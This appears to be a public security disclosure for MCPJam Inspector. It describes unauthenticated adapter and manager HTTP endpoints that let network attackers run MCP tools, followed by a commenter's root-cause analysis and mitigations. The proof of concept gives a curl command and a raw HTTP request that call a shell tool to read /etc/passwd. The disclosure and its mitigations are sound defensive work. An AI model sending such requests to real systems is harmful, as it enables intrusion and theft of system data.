[SECURITY] Unauthorized MCP Tool Execution via Unauthenticated HTTP Manager and Adapter API Endpoints

[sandh0t]

Disclaimer

This vulnerability was originally reported privately on February 12, 2026 to the mailing list in the Security.md file and submitted as a GitHub Security Advisory: GHSA-2v3v-5588-2h53. The issue was ignored both in the email and in the GitHub Advisory.

Following responsible disclosure practices, I allowed sufficient time for triage, remediation, and coordinated disclosure. I also provided follow-up communications regarding the security impact and public disclosure timeline. Despite these notifications, the issue has not been addressed and no remediation timeline has been communicated.

As a result, this issue is being disclosed publicly to ensure users and administrators are aware of the risk and can take appropriate mitigation measures.

Vulnerability Details

Summary

Missing authentication on MCP Manager and Adapter HTTP API endpoints allows any network-accessible attacker to execute arbitrary MCP tools without authentication. When a used MCP server allows system command execution capabilities, this vulnerability could be exploited to perform Remote Code Execution (RCE).

This vulnerability is similar to CVE-2026-23744 and CVE-2025-49596. This vulnerability is exploitable with no user interaction and doesn't require authentication. Since MCPJam Inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.

Details

The /api/mcp/adapter-http/:serverId and /api/mcp/manager-http/:serverId endpoints are explicitly excluded from authentication middleware in server/middleware/session-auth.ts (lines 45-46):

//   https://github.com/MCPJam/inspector/blob/eaad8c8e61f1a864eb103900d36e74b230e1aceb/mcpjam-inspector/server/middleware/session-auth.ts#L45

typescriptconst UNPROTECTED_PREFIXES = [
   ...
  "/api/mcp/adapter-http/", // HTTP adapter for tunneled MCP clients - auth via URL secrecy
  "/api/mcp/manager-http/", // HTTP manager for tunneled MCP clients - auth via URL secrecy
];

These endpoints accept JSON-RPC requests and forward them directly to connected MCP servers without any authentication checks (see server/routes/mcp/http-adapters.ts, lines 149-159):

// https://github.com/MCPJam/inspector/blob/eaad8c8e61f1a864eb103900d36e74b230e1aceb/mcpjam-inspector/server/routes/mcp/http-adapters.ts#L149

typescriptconst response = await handleJsonRpc(
  normalizedServerId,
  body as any,
  clientManager,
  mode,
);
return c.json(response);

Since MCPJam Inspector binds to 0.0.0.0 by default, its HTTP APIs are remotely reachable. An attacker requires:

• Network connectivity to MCPJam Inspector (local network, Docker exposed port, or HOSTED_MODE deployment)
• Knowledge or enumeration of a valid serverId (common values: "local", "default", "asana", "github", "notion")

No authentication, authorization, or request validation is performed.

PoC

Run MCPJam using below command:

npx @mcpjam/inspector@latest

Then Install an MCP server allowing to run system command. I used the following MCP server as an example which allows running system commands: [mac-shell-mcp](https://github.com/cfdude/mac-shell-mcp).

You can invoke this MCP server through MCPJam directly without authentication through the following HTTP request. Below is the curl request, and notice that it doesn't require any authentication or the authorization bearer token in the header:

curl --path-as-is -i -s -k -X POST \
  -H 'Host: 127.0.0.1:6274' \
  -H 'Content-Type: application/json' \
  -d '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "execute_command",
    "arguments": {
      "command": "cat",
      "args": ["/etc/passwd"]
    }
  }
}' \
  'http://127.0.0.1:6274/api/mcp/adapter-http/shell-mcp'

You can also use Burp Proxy to send the below request directly:

POST /api/mcp/adapter-http/shell-mcp HTTP/1.1
Host: 127.0.0.1:6274
Content-Type: application/json
Content-Length: 195

{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_command",
      "arguments": {"command": "cat",
"args":[" /etc/passwd"]}
    }
  }

This issue was found on version v1.5.16

Impact

This vulnerability allows unauthorized remote attackers to execute arbitrary MCP tools without authentication, leading to complete compromise of the system when shell-enabled MCP servers are connected. The impact severity depends on the capabilities of the connected MCP servers:

• Unauthorized Tool Execution: Attackers can invoke any MCP tool exposed by connected servers without authentication, bypassing all authorization controls.
• Data Exfiltration: Unauthorized access to sensitive data through MCP resource reads, database queries, or file system operations.
• Remote Code Execution (RCE): Direct system command execution through MCP servers like mac-shell-mcp, filesystem-mcp, or custom servers with command execution capabilities.
• Privilege Escalation: If MCPJam Inspector runs with elevated privileges, attackers inherit those privileges for command execution.

Attack Scenarios:

• Local Network Attack: Attacker on the same LAN (corporate network, coffee shop WiFi, shared workspace) can directly access exposed MCPJam endpoints.
• Cloud Deployment Attack: HOSTED_MODE deployments without proper network isolation are accessible from the internet.
• Docker Misconfiguration: Users running docker run -p 6274:6274 expose the vulnerability to anyone who can reach the host machine.

[xlyoung]

Great disclosure — this is a serious issue that highlights a broader pattern in MCP tooling: authentication as an afterthought.

Root Cause Analysis

The UNPROTECTED_PREFIXES pattern is essentially "security by obscurity" — relying on URL secrecy (auth via URL secrecy) for endpoints that forward arbitrary JSON-RPC to connected MCP servers. This is the same class of vulnerability we've seen in:

1. MCP servers binding to 0.0.0.0 by default — OX Security found 7,374 publicly exposed MCP servers
2. No authentication on tool execution — 41% of MCP servers have zero authentication (TapAuth research)
3. Missing request validation — JSON-RPC forwarded directly without schema validation

Immediate Mitigations (for users)

# 1. Bind to localhost only
MCPJAM_HOST=127.0.0.1 npx @mcpjam/inspector@latest

# 2. Or use firewall rules
sudo ufw deny 6274/tcp
sudo ufw allow from 127.0.0.1 to any port 6274

# 3. Docker: don't expose the port
docker run --network host -p 127.0.0.1:6274:6274 mcpjam/inspector

For the MCP Doctor perspective

We've been tracking this class of vulnerability in our MCP Doctor project — a tool that scans MCP servers for exactly these patterns. The adapter-http endpoint pattern (unauthenticated JSON-RPC forwarding) is one we flag as a critical security concern because:

1. It creates a direct execution path from network → MCP server → arbitrary tool calls
2. The serverId parameter is trivially guessable (common names like local, default, github)
3. No rate limiting, no audit logging, no request signing

Recommendation for MCPJam team

Beyond fixing the auth bypass, consider:

• Add request signing — HMAC or JWT on every JSON-RPC request
• Add rate limiting — especially on tools/call methods
• Add audit logging — log every tool execution with source IP
• Default to localhost binding — 127.0.0.1 should be the default, not 0.0.0.0
• Implement OWASP MCP Top 10 — especially M1 (Tool Poisoning) and M7 (Excessive Agency)

The MCP security landscape is evolving fast — we've seen 30+ CVEs in 60 days. Tools like MCPJam Inspector are critical infrastructure and need to lead by example on security.